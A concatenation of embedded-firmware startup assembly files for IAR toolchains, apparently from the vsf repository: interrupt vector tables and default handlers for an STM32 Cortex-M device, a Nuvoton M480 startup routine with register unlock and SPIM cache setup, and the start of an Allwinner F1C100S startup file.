; When debugging in RAM, it can be located in RAM, aligned to at least 2^6.
; The name "__vector_table" has special meaning for C-SPY:
; it is where the SP start value is found, and the NVIC vector
; table register (VTOR) is initialized to this address if != 0.
;
; Cortex-M version
;
MODULE ?cstartup
;; Forward declaration of sections.
SECTION CSTACK:DATA:NOROOT(3)
SECTION .intvec:CODE:NOROOT(2)
EXTERN __iar_program_start
EXTERN SystemInit
PUBLIC __vector_table
DATA
__vector_table
DCD sfe(CSTACK)
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_2_IRQHandler ; ADC1 & ADC2
DCD USB_HP_CAN1_TX_IRQHandler ; USB High Priority or CAN1 TX
DCD USB_LP_CAN1_RX0_IRQHandler ; USB Low Priority or CAN1 RX0
DCD CAN1_RX1_IRQHandler ; CAN1 RX1
DCD CAN1_SCE_IRQHandler ; CAN1 SCE
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_IRQHandler ; TIM1 Break
DCD TIM1_UP_IRQHandler ; TIM1 Update
DCD TIM1_TRG_COM_IRQHandler ; TIM1 Trigger and Commutation
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C2 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTC_Alarm_IRQHandler ; RTC Alarm through EXTI Line
DCD USBWakeUp_IRQHandler ; USB Wakeup from suspend
DCD TIM8_BRK_IRQHandler ; TIM8 Break
DCD TIM8_UP_IRQHandler ; TIM8 Update
DCD TIM8_TRG_COM_IRQHandler ; TIM8 Trigger and Commutation
DCD TIM8_CC_IRQHandler ; TIM8 Capture Compare
DCD ADC3_IRQHandler ; ADC3
DCD FSMC_IRQHandler ; FSMC
DCD SDIO_IRQHandler ; SDIO
DCD TIM5_IRQHandler ; TIM5
DCD SPI3_IRQHandler ; SPI3
DCD UART4_IRQHandler ; UART4
DCD UART5_IRQHandler ; UART5
DCD TIM6_IRQHandler ; TIM6
DCD TIM7_IRQHandler ; TIM7
DCD DMA2_Channel1_IRQHandler ; DMA2 Channel1
DCD DMA2_Channel2_IRQHandler ; DMA2 Channel2
DCD DMA2_Channel3_IRQHandler ; DMA2 Channel3
DCD DMA2_Channel4_5_IRQHandler ; DMA2 Channel4 & Channel5
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; Default interrupt handlers.
;;
THUMB
PUBWEAK Reset_Handler
SECTION .text:CODE:REORDER:NOROOT(2)
Reset_Handler
LDR R0, =SystemInit
BLX R0
LDR R0, =__iar_program_start
BX R0
PUBWEAK NMI_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
NMI_Handler
B NMI_Handler
PUBWEAK HardFault_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
HardFault_Handler
B HardFault_Handler
PUBWEAK MemManage_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
MemManage_Handler
B MemManage_Handler
PUBWEAK BusFault_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
BusFault_Handler
B BusFault_Handler
PUBWEAK UsageFault_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
UsageFault_Handler
B UsageFault_Handler
PUBWEAK SVC_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
SVC_Handler
B SVC_Handler
PUBWEAK DebugMon_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
DebugMon_Handler
B DebugMon_Handler
PUBWEAK PendSV_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
PendSV_Handler
B PendSV_Handler
PUBWEAK SysTick_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
SysTick_Handler
B SysTick_Handler
PUBWEAK WWDG_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
WWDG_IRQHandler
B WWDG_IRQHandler
PUBWEAK PVD_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
PVD_IRQHandler
B PVD_IRQHandler
PUBWEAK TAMPER_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TAMPER_IRQHandler
B TAMPER_IRQHandler
PUBWEAK RTC_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
RTC_IRQHandler
B RTC_IRQHandler
PUBWEAK FLASH_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
FLASH_IRQHandler
B FLASH_IRQHandler
PUBWEAK RCC_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
RCC_IRQHandler
B RCC_IRQHandler
PUBWEAK EXTI0_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
EXTI0_IRQHandler
B EXTI0_IRQHandler
PUBWEAK EXTI1_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
EXTI1_IRQHandler
B EXTI1_IRQHandler
PUBWEAK EXTI2_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
EXTI2_IRQHandler
B EXTI2_IRQHandler
PUBWEAK EXTI3_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
EXTI3_IRQHandler
B EXTI3_IRQHandler
PUBWEAK EXTI4_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
EXTI4_IRQHandler
B EXTI4_IRQHandler
PUBWEAK DMA1_Channel1_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA1_Channel1_IRQHandler
B DMA1_Channel1_IRQHandler
PUBWEAK DMA1_Channel2_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA1_Channel2_IRQHandler
B DMA1_Channel2_IRQHandler
PUBWEAK DMA1_Channel3_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA1_Channel3_IRQHandler
B DMA1_Channel3_IRQHandler
PUBWEAK DMA1_Channel4_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA1_Channel4_IRQHandler
B DMA1_Channel4_IRQHandler
PUBWEAK DMA1_Channel5_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA1_Channel5_IRQHandler
B DMA1_Channel5_IRQHandler
PUBWEAK DMA1_Channel6_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA1_Channel6_IRQHandler
B DMA1_Channel6_IRQHandler
PUBWEAK DMA1_Channel7_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA1_Channel7_IRQHandler
B DMA1_Channel7_IRQHandler
PUBWEAK ADC1_2_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
ADC1_2_IRQHandler
B ADC1_2_IRQHandler
PUBWEAK USB_HP_CAN1_TX_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
USB_HP_CAN1_TX_IRQHandler
B USB_HP_CAN1_TX_IRQHandler
PUBWEAK USB_LP_CAN1_RX0_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
USB_LP_CAN1_RX0_IRQHandler
B USB_LP_CAN1_RX0_IRQHandler
PUBWEAK CAN1_RX1_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
CAN1_RX1_IRQHandler
B CAN1_RX1_IRQHandler
PUBWEAK CAN1_SCE_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
CAN1_SCE_IRQHandler
B CAN1_SCE_IRQHandler
PUBWEAK EXTI9_5_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
EXTI9_5_IRQHandler
B EXTI9_5_IRQHandler
PUBWEAK TIM1_BRK_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM1_BRK_IRQHandler
B TIM1_BRK_IRQHandler
PUBWEAK TIM1_UP_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM1_UP_IRQHandler
B TIM1_UP_IRQHandler
PUBWEAK TIM1_TRG_COM_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM1_TRG_COM_IRQHandler
B TIM1_TRG_COM_IRQHandler
PUBWEAK TIM1_CC_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM1_CC_IRQHandler
B TIM1_CC_IRQHandler
PUBWEAK TIM2_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM2_IRQHandler
B TIM2_IRQHandler
PUBWEAK TIM3_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM3_IRQHandler
B TIM3_IRQHandler
PUBWEAK TIM4_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM4_IRQHandler
B TIM4_IRQHandler
PUBWEAK I2C1_EV_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
I2C1_EV_IRQHandler
B I2C1_EV_IRQHandler
PUBWEAK I2C1_ER_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
I2C1_ER_IRQHandler
B I2C1_ER_IRQHandler
PUBWEAK I2C2_EV_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
I2C2_EV_IRQHandler
B I2C2_EV_IRQHandler
PUBWEAK I2C2_ER_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
I2C2_ER_IRQHandler
B I2C2_ER_IRQHandler
PUBWEAK SPI1_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
SPI1_IRQHandler
B SPI1_IRQHandler
PUBWEAK SPI2_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
SPI2_IRQHandler
B SPI2_IRQHandler
PUBWEAK USART1_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
USART1_IRQHandler
B USART1_IRQHandler
PUBWEAK USART2_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
USART2_IRQHandler
B USART2_IRQHandler
PUBWEAK USART3_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
USART3_IRQHandler
B USART3_IRQHandler
PUBWEAK EXTI15_10_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
EXTI15_10_IRQHandler
B EXTI15_10_IRQHandler
PUBWEAK RTC_Alarm_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
RTC_Alarm_IRQHandler
B RTC_Alarm_IRQHandler
PUBWEAK USBWakeUp_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
USBWakeUp_IRQHandler
B USBWakeUp_IRQHandler
PUBWEAK TIM8_BRK_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM8_BRK_IRQHandler
B TIM8_BRK_IRQHandler
PUBWEAK TIM8_UP_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM8_UP_IRQHandler
B TIM8_UP_IRQHandler
PUBWEAK TIM8_TRG_COM_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM8_TRG_COM_IRQHandler
B TIM8_TRG_COM_IRQHandler
PUBWEAK TIM8_CC_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM8_CC_IRQHandler
B TIM8_CC_IRQHandler
PUBWEAK ADC3_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
ADC3_IRQHandler
B ADC3_IRQHandler
PUBWEAK FSMC_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
FSMC_IRQHandler
B FSMC_IRQHandler
PUBWEAK SDIO_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
SDIO_IRQHandler
B SDIO_IRQHandler
PUBWEAK TIM5_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM5_IRQHandler
B TIM5_IRQHandler
PUBWEAK SPI3_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
SPI3_IRQHandler
B SPI3_IRQHandler
PUBWEAK UART4_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
UART4_IRQHandler
B UART4_IRQHandler
PUBWEAK UART5_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
UART5_IRQHandler
B UART5_IRQHandler
PUBWEAK TIM6_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM6_IRQHandler
B TIM6_IRQHandler
PUBWEAK TIM7_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
TIM7_IRQHandler
B TIM7_IRQHandler
PUBWEAK DMA2_Channel1_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA2_Channel1_IRQHandler
B DMA2_Channel1_IRQHandler
PUBWEAK DMA2_Channel2_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA2_Channel2_IRQHandler
B DMA2_Channel2_IRQHandler
PUBWEAK DMA2_Channel3_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA2_Channel3_IRQHandler
B DMA2_Channel3_IRQHandler
PUBWEAK DMA2_Channel4_5_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
DMA2_Channel4_5_IRQHandler
B DMA2_Channel4_5_IRQHandler
END
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
vsfteam/vsf | 14,251 | source/hal/driver/Nuvoton/M480/M484/startup_M484.s | ;/******************************************************************************
; * @file startup_M480.s
; * @version V1.00
; * @brief CMSIS Cortex-M4 Core Device Startup File for M480
; *
; * @copyright (C) 2016 Nuvoton Technology Corp. All rights reserved.
;*****************************************************************************/
MODULE ?cstartup
;; Forward declaration of sections.
SECTION CSTACK:DATA:NOROOT(3)
SECTION .intvec:CODE:NOROOT(2)
EXTERN __iar_program_start
// EXTERN SystemInit
PUBLIC __vector_table
PUBLIC __vector_table_0x1c
PUBLIC __Vectors
PUBLIC __Vectors_End
PUBLIC __Vectors_Size
DATA
__vector_table
DCD sfe(CSTACK)
DCD Reset_Handler
DCD NMI_Handler
DCD HardFault_Handler
DCD MemManage_Handler
DCD BusFault_Handler
DCD UsageFault_Handler
__vector_table_0x1c
DCD 0
DCD 0
DCD 0
DCD 0
DCD SVC_Handler
DCD DebugMon_Handler
DCD 0
DCD PendSV_Handler
DCD SysTick_Handler
; External Interrupts
DCD BOD_IRQHandler ; 0: Brown Out detection
DCD IRC_IRQHandler ; 1: Internal RC
DCD PWRWU_IRQHandler ; 2: Power down wake up
DCD RAMPE_IRQHandler ; 3: RAM parity error
DCD CKFAIL_IRQHandler ; 4: Clock detection fail
DCD SWI0_IRQHandler ; 5: Reserved
DCD RTC_IRQHandler ; 6: Real Time Clock
DCD TAMPER_IRQHandler ; 7: Tamper detection
DCD WDT_IRQHandler ; 8: Watchdog timer
DCD WWDT_IRQHandler ; 9: Window watchdog timer
DCD EINT0_IRQHandler ; 10: External Input 0
DCD EINT1_IRQHandler ; 11: External Input 1
DCD EINT2_IRQHandler ; 12: External Input 2
DCD EINT3_IRQHandler ; 13: External Input 3
DCD EINT4_IRQHandler ; 14: External Input 4
DCD EINT5_IRQHandler ; 15: External Input 5
DCD GPA_IRQHandler ; 16: GPIO Port A
DCD GPB_IRQHandler ; 17: GPIO Port B
DCD GPC_IRQHandler ; 18: GPIO Port C
DCD GPD_IRQHandler ; 19: GPIO Port D
DCD GPE_IRQHandler ; 20: GPIO Port E
DCD GPF_IRQHandler ; 21: GPIO Port F
DCD QSPI0_IRQHandler ; 22: QSPI0
DCD SPI0_IRQHandler ; 23: SPI0
DCD BRAKE0_IRQHandler ; 24:
DCD PWM0P0_IRQHandler ; 25:
DCD PWM0P1_IRQHandler ; 26:
DCD PWM0P2_IRQHandler ; 27:
DCD BRAKE1_IRQHandler ; 28:
DCD PWM1P0_IRQHandler ; 29:
DCD PWM1P1_IRQHandler ; 30:
DCD PWM1P2_IRQHandler ; 31:
DCD TMR0_IRQHandler ; 32: Timer 0
DCD TMR1_IRQHandler ; 33: Timer 1
DCD TMR2_IRQHandler ; 34: Timer 2
DCD TMR3_IRQHandler ; 35: Timer 3
DCD UART0_IRQHandler ; 36: UART0
DCD UART1_IRQHandler ; 37: UART1
DCD I2C0_IRQHandler ; 38: I2C0
DCD I2C1_IRQHandler ; 39: I2C1
DCD PDMA_IRQHandler ; 40: Peripheral DMA
DCD DAC_IRQHandler ; 41: DAC
DCD ADC00_IRQHandler ; 42: ADC0 interrupt source 0
DCD ADC01_IRQHandler ; 43: ADC0 interrupt source 1
DCD ACMP01_IRQHandler ; 44: ACMP0 and ACMP1
DCD SWI1_IRQHandler ; 45: Reserved
DCD ADC02_IRQHandler ; 46: ADC0 interrupt source 2
DCD ADC03_IRQHandler ; 47: ADC0 interrupt source 3
DCD UART2_IRQHandler ; 48: UART2
DCD UART3_IRQHandler ; 49: UART3
DCD SWI2_IRQHandler ; 50: Reserved
DCD SPI1_IRQHandler ; 51: SPI1
DCD SPI2_IRQHandler ; 52: SPI2
DCD USBD_IRQHandler ; 53: USB device
DCD OHCI_IRQHandler ; 54: OHCI
DCD USBOTG_IRQHandler ; 55: USB OTG
DCD CAN0_IRQHandler ; 56: CAN0
DCD CAN1_IRQHandler ; 57: CAN1
DCD SC0_IRQHandler ; 58:
DCD SC1_IRQHandler ; 59:
DCD SC2_IRQHandler ; 60:
DCD Default_Handler ; 61:
DCD SPI3_IRQHandler ; 62: SPI3
DCD Default_Handler ; 63:
DCD SDH0_IRQHandler ; 64: SDH0
DCD USBD20_IRQHandler ; 65: USBD20
DCD EMAC_TX_IRQHandler ; 66: EMAC_TX
DCD EMAC_RX_IRQHandler ; 67: EMAX_RX
DCD I2S0_IRQHandler ; 68: I2S0
DCD SWI3_IRQHandler ; 69: ToDo: Add description to this Interrupt
DCD OPA0_IRQHandler ; 70: OPA0
DCD CRYPTO_IRQHandler ; 71: CRYPTO
DCD GPG_IRQHandler ; 72:
DCD EINT6_IRQHandler ; 73:
DCD UART4_IRQHandler ; 74: UART4
DCD UART5_IRQHandler ; 75: UART5
DCD USCI0_IRQHandler ; 76: USCI0
DCD USCI1_IRQHandler ; 77: USCI1
DCD BPWM0_IRQHandler ; 78: BPWM0
DCD BPWM1_IRQHandler ; 79: BPWM1
DCD SPIM_IRQHandler ; 80: SPIM
DCD SWI4_IRQHandler ; 81: ToDo: Add description to this Interrupt
DCD I2C2_IRQHandler ; 82: I2C2
DCD SWI5_IRQHandler ; 83:
DCD QEI0_IRQHandler ; 84: QEI0
DCD QEI1_IRQHandler ; 85: QEI1
DCD ECAP0_IRQHandler ; 86: ECAP0
DCD ECAP1_IRQHandler ; 87: ECAP1
DCD GPH_IRQHandler ; 88:
DCD EINT7_IRQHandler ; 89:
DCD SDH1_IRQHandler ; 90: SDH1
DCD SWI6_IRQHandler ; 91:
DCD EHCI_IRQHandler ; 92: EHCI
DCD USBOTG20_IRQHandler ; 93:
DCD SWI7_IRQHandler ; 94-95 SWI
DCD SWI8_IRQHandler
__Vectors_End
__Vectors EQU __vector_table
__Vectors_Size EQU __Vectors_End - __Vectors
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; Default interrupt handlers.
;;
THUMB
PUBWEAK Reset_Handler
SECTION .text:CODE:REORDER:NOROOT(2)
Reset_Handler
; Unlock Register
LDR R0, =0x40000100
LDR R1, =0x59
STR R1, [R0]
LDR R1, =0x16
STR R1, [R0]
LDR R1, =0x88
STR R1, [R0]
#ifndef ENABLE_SPIM_CACHE
LDR R0, =0x40000200 ; R0 = Clock Controller Register Base Address
LDR R1, [R0,#0x4] ; R1 = 0x40000204 (AHBCLK)
ORR R1, R1, #0x4000
STR R1, [R0,#0x4] ; CLK->AHBCLK |= CLK_AHBCLK_SPIMCKEN_Msk;
LDR R0, =0x40007000 ; R0 = SPIM Register Base Address
LDR R1, [R0,#4] ; R1 = SPIM->CTL1
ORR R1, R1,#2 ; R1 |= SPIM_CTL1_CACHEOFF_Msk
STR R1, [R0,#4] ; _SPIM_DISABLE_CACHE()
LDR R1, [R0,#4] ; R1 = SPIM->CTL1
ORR R1, R1, #4 ; R1 |= SPIM_CTL1_CCMEN_Msk
STR R1, [R0,#4] ; _SPIM_ENABLE_CCM()
#endif
// LDR R0, =SystemInit
// BLX R0
; Init POR
; LDR R2, =0x40000024
; LDR R1, =0x00005AA5
; STR R1, [R2]
; Lock register
LDR R0, =0x40000100
MOVS R1, #0
STR R1, [R0]
LDR R0, =__iar_program_start
BX R0
PUBWEAK NMI_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
NMI_Handler
B NMI_Handler
PUBWEAK HardFault_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
HardFault_Handler
B HardFault_Handler
PUBWEAK MemManage_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
MemManage_Handler
B MemManage_Handler
PUBWEAK BusFault_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
BusFault_Handler
B BusFault_Handler
PUBWEAK UsageFault_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
UsageFault_Handler
B UsageFault_Handler
PUBWEAK SVC_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
SVC_Handler
B SVC_Handler
PUBWEAK DebugMon_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
DebugMon_Handler
B DebugMon_Handler
PUBWEAK PendSV_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
PendSV_Handler
B PendSV_Handler
PUBWEAK SysTick_Handler
SECTION .text:CODE:REORDER:NOROOT(1)
SysTick_Handler
B SysTick_Handler
PUBWEAK BOD_IRQHandler
PUBWEAK IRC_IRQHandler
PUBWEAK PWRWU_IRQHandler
PUBWEAK RAMPE_IRQHandler
PUBWEAK CKFAIL_IRQHandler
PUBWEAK RTC_IRQHandler
PUBWEAK TAMPER_IRQHandler
PUBWEAK WDT_IRQHandler
PUBWEAK WWDT_IRQHandler
PUBWEAK EINT0_IRQHandler
PUBWEAK EINT1_IRQHandler
PUBWEAK EINT2_IRQHandler
PUBWEAK EINT3_IRQHandler
PUBWEAK EINT4_IRQHandler
PUBWEAK EINT5_IRQHandler
PUBWEAK GPA_IRQHandler
PUBWEAK GPB_IRQHandler
PUBWEAK GPC_IRQHandler
PUBWEAK GPD_IRQHandler
PUBWEAK GPE_IRQHandler
PUBWEAK GPF_IRQHandler
PUBWEAK QSPI0_IRQHandler
PUBWEAK SPI0_IRQHandler
PUBWEAK BRAKE0_IRQHandler
PUBWEAK PWM0P0_IRQHandler
PUBWEAK PWM0P1_IRQHandler
PUBWEAK PWM0P2_IRQHandler
PUBWEAK BRAKE1_IRQHandler
PUBWEAK PWM1P0_IRQHandler
PUBWEAK PWM1P1_IRQHandler
PUBWEAK PWM1P2_IRQHandler
PUBWEAK TMR0_IRQHandler
PUBWEAK TMR1_IRQHandler
PUBWEAK TMR2_IRQHandler
PUBWEAK TMR3_IRQHandler
PUBWEAK UART0_IRQHandler
PUBWEAK UART1_IRQHandler
PUBWEAK I2C0_IRQHandler
PUBWEAK I2C1_IRQHandler
PUBWEAK PDMA_IRQHandler
PUBWEAK DAC_IRQHandler
PUBWEAK ADC00_IRQHandler
PUBWEAK ADC01_IRQHandler
PUBWEAK ACMP01_IRQHandler
PUBWEAK ADC02_IRQHandler
PUBWEAK ADC03_IRQHandler
PUBWEAK UART2_IRQHandler
PUBWEAK UART3_IRQHandler
PUBWEAK SPI1_IRQHandler
PUBWEAK SPI2_IRQHandler
PUBWEAK USBD_IRQHandler
PUBWEAK OHCI_IRQHandler
PUBWEAK USBOTG_IRQHandler
PUBWEAK CAN0_IRQHandler
PUBWEAK CAN1_IRQHandler
PUBWEAK SC0_IRQHandler
PUBWEAK SC1_IRQHandler
PUBWEAK SC2_IRQHandler
PUBWEAK SPI3_IRQHandler
PUBWEAK SDH0_IRQHandler
PUBWEAK USBD20_IRQHandler
PUBWEAK EMAC_TX_IRQHandler
PUBWEAK EMAC_RX_IRQHandler
PUBWEAK I2S0_IRQHandler
PUBWEAK OPA0_IRQHandler
PUBWEAK CRYPTO_IRQHandler
PUBWEAK GPG_IRQHandler
PUBWEAK EINT6_IRQHandler
PUBWEAK UART4_IRQHandler
PUBWEAK UART5_IRQHandler
PUBWEAK USCI0_IRQHandler
PUBWEAK USCI1_IRQHandler
PUBWEAK BPWM0_IRQHandler
PUBWEAK BPWM1_IRQHandler
PUBWEAK SPIM_IRQHandler
PUBWEAK I2C2_IRQHandler
PUBWEAK QEI0_IRQHandler
PUBWEAK QEI1_IRQHandler
PUBWEAK ECAP0_IRQHandler
PUBWEAK ECAP1_IRQHandler
PUBWEAK GPH_IRQHandler
PUBWEAK EINT7_IRQHandler
PUBWEAK SDH1_IRQHandler
PUBWEAK EHCI_IRQHandler
PUBWEAK USBOTG20_IRQHandler
PUBWEAK SWI0_IRQHandler
PUBWEAK SWI1_IRQHandler
PUBWEAK SWI2_IRQHandler
PUBWEAK SWI3_IRQHandler
PUBWEAK SWI4_IRQHandler
PUBWEAK SWI5_IRQHandler
PUBWEAK SWI6_IRQHandler
PUBWEAK SWI7_IRQHandler
PUBWEAK SWI8_IRQHandler
SECTION .text:CODE:REORDER:NOROOT(1)
BOD_IRQHandler
IRC_IRQHandler
PWRWU_IRQHandler
RAMPE_IRQHandler
CKFAIL_IRQHandler
RTC_IRQHandler
TAMPER_IRQHandler
WDT_IRQHandler
WWDT_IRQHandler
EINT0_IRQHandler
EINT1_IRQHandler
EINT2_IRQHandler
EINT3_IRQHandler
EINT4_IRQHandler
EINT5_IRQHandler
GPA_IRQHandler
GPB_IRQHandler
GPC_IRQHandler
GPD_IRQHandler
GPE_IRQHandler
GPF_IRQHandler
QSPI0_IRQHandler
SPI0_IRQHandler
BRAKE0_IRQHandler
PWM0P0_IRQHandler
PWM0P1_IRQHandler
PWM0P2_IRQHandler
BRAKE1_IRQHandler
PWM1P0_IRQHandler
PWM1P1_IRQHandler
PWM1P2_IRQHandler
TMR0_IRQHandler
TMR1_IRQHandler
TMR2_IRQHandler
TMR3_IRQHandler
UART0_IRQHandler
UART1_IRQHandler
I2C0_IRQHandler
I2C1_IRQHandler
PDMA_IRQHandler
DAC_IRQHandler
ADC00_IRQHandler
ADC01_IRQHandler
ACMP01_IRQHandler
ADC02_IRQHandler
ADC03_IRQHandler
UART2_IRQHandler
UART3_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USBD_IRQHandler
OHCI_IRQHandler
USBOTG_IRQHandler
CAN0_IRQHandler
CAN1_IRQHandler
SC0_IRQHandler
SC1_IRQHandler
SC2_IRQHandler
SPI3_IRQHandler
SDH0_IRQHandler
USBD20_IRQHandler
EMAC_TX_IRQHandler
EMAC_RX_IRQHandler
I2S0_IRQHandler
OPA0_IRQHandler
CRYPTO_IRQHandler
GPG_IRQHandler
EINT6_IRQHandler
UART4_IRQHandler
UART5_IRQHandler
USCI0_IRQHandler
USCI1_IRQHandler
BPWM0_IRQHandler
BPWM1_IRQHandler
SPIM_IRQHandler
I2C2_IRQHandler
QEI0_IRQHandler
QEI1_IRQHandler
ECAP0_IRQHandler
ECAP1_IRQHandler
GPH_IRQHandler
EINT7_IRQHandler
SDH1_IRQHandler
EHCI_IRQHandler
USBOTG20_IRQHandler
SWI0_IRQHandler
SWI1_IRQHandler
SWI2_IRQHandler
SWI3_IRQHandler
SWI4_IRQHandler
SWI5_IRQHandler
SWI6_IRQHandler
SWI7_IRQHandler
SWI8_IRQHandler
Default_Handler
B Default_Handler
END
;/*** (C) COPYRIGHT 2016 Nuvoton Technology Corp. ***/
|
vsfteam/vsf | 2,270 | source/hal/driver/Allwinner/F1CX00S/F1C100S/startup/app/asm/iar/startup.S | /*****************************************************************************
* Copyright(C)2009-2022 by VSF Team *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
****************************************************************************/
NAME startup
EXTERN __iar_program_start
EXTERN _vector
